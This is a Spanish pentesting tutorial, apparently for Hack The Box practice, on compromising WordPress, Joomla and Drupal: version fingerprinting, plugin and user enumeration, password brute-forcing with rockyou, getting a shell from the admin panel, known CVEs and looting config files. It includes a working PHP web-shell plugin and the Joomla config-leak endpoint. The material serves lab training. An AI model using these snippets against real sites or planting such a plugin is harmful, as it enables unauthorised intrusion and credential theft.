Atacar WordPress, Joomla y Drupal: de wpscan a RCE

Identificar el CMS y su versión, enumerar plugins y usuarios con wpscan, joomscan y droopescan, y pasar de administrador a shell en WordPress, Joomla y Drupal.

· 3 min de lectura

Cuando una máquina tiene un CMS, el camino casi siempre es uno de estos tres: una versión vieja con un CVE, un plugin vulnerable o credenciales que te dejan entrar al panel, desde donde ejecutar código es trivial. Esta guía recorre los tres para WordPress, Joomla y Drupal, y sirve para cualquier otro CMS cambiando las rutas.

1. Qué CMS es y qué versión

Antes de lanzar nada, mira el código fuente y las cabeceras:

Pista CMS
/wp-content/, /wp-login.php, <meta name="generator" content="WordPress 6.x"> WordPress
/administrator/, /media/system/js/, cookies con nombre hexadecimal Joomla
/sites/default/, /core/misc/drupal.js, cabecera X-Generator: Drupal Drupal

La versión exacta, sin herramientas:

# WordPress: generador, feed RSS o el ?ver= de los ficheros estáticos
curl -s http://objetivo.htb/feed/ | grep -i generator
# Joomla: el manifiesto
curl -s http://objetivo.htb/administrator/manifests/files/joomla.xml | grep -i '<version>'
# Drupal 7 y anteriores; en 8+ busca el ?v= de los .js o prueba /core/install.php
curl -s http://objetivo.htb/CHANGELOG.txt | head

Con la versión, busca exploits: searchsploit wordpress 5.0, el CHANGELOG del proyecto o directamente "CMS versión exploit". La guía de explotar CVE públicos explica cómo leerlos y adaptarlos.

2. Enumerar plugins, temas y usuarios

# WordPress (el token gratuito de wpscan.com añade las vulnerabilidades conocidas)
wpscan --url http://objetivo.htb -e ap,at,u --plugins-detection aggressive --api-token $WPSCAN_TOKEN
# Joomla
joomscan -u http://objetivo.htb
# Drupal
droopescan scan drupal -u http://objetivo.htb

Truco

wpscan en modo pasivo se deja muchos plugins. Si no sale nada, haz fuzzing de /wp-content/plugins/ con una lista de plugins (SecLists trae wp-plugins.fuzz.txt) y mira el readme.txt de cada uno para ver su versión.

Los usuarios de WordPress también salen en /wp-json/wp/v2/users y en /?author=1, /?author=2... Con ellos puedes probar contraseñas débiles:

wpscan --url http://objetivo.htb -U admin,editor -P /usr/share/wordlists/rockyou.txt

Antes de lanzar rockyou, busca credenciales en otros sitios: ficheros de configuración expuestos (wp-config.php.bak, configuration.php~), un .git expuesto o reutilización de contraseñas de otro servicio.

3. Del panel de administración a una shell

Con una cuenta de administrador, ejecutar código está "permitido" por diseño:

CMS Cómo Dónde
WordPress Editar un fichero PHP del tema (por ejemplo 404.php) Apariencia → Editor de temas, y visita /wp-content/themes/<tema>/404.php
WordPress Subir un plugin propio en un ZIP Plugins → Añadir nuevo → Subir
Joomla Editar una plantilla y añadir PHP a error.php Sistema → Plantillas del sitio
Drupal 7 Activar el módulo PHP filter y crear contenido con PHP Módulos → PHP filter
Drupal 8+ Subir un módulo malicioso Extender → Instalar nuevo módulo

Un plugin mínimo de WordPress que ejecuta un comando:

<?php
/* Plugin Name: utilidades */
if (isset($_GET['c'])) { system($_GET['c']); }

Comprímelo (zip utilidades.zip utilidades.php), súbelo, actívalo y llama a /wp-content/plugins/utilidades/utilidades.php?c=id. Desde ahí, una reverse shell.

Cuidado

Si el editor de temas devuelve "no se pudo comunicar con el sitio", WordPress está validando el PHP. Edita un tema inactivo o sube el plugin: es más fiable.

4. CVE famosos que siguen saliendo

  • Drupalgeddon2 (CVE-2018-7600): RCE sin autenticar en Drupal 7 y 8 antiguos. Es la entrada de Armageddon.
  • Joomla CVE-2023-23752: /api/index.php/v1/config/application?public=true filtra la contraseña de la base de datos sin autenticar (Devvortex, Office).
  • Plugins de WordPress: la mayoría de los fallos están en plugins, no en el núcleo. En Backdoor un plugin permite leer ficheros (LFI), y desde ahí sigues como en la guía de LFI.

Después de entrar

Lee el fichero de configuración del CMS: tiene la contraseña de la base de datos, que a menudo se reutiliza para un usuario del sistema.

CMS Fichero
WordPress wp-config.php
Joomla configuration.php
Drupal sites/default/settings.php

En la base de datos están los hashes de los usuarios (wp_users, #__users, users_field_data); se crackean con hashcat como se explica en cracking de hashes.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Explotación de CMS 22 máquinas

Ver las 22 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo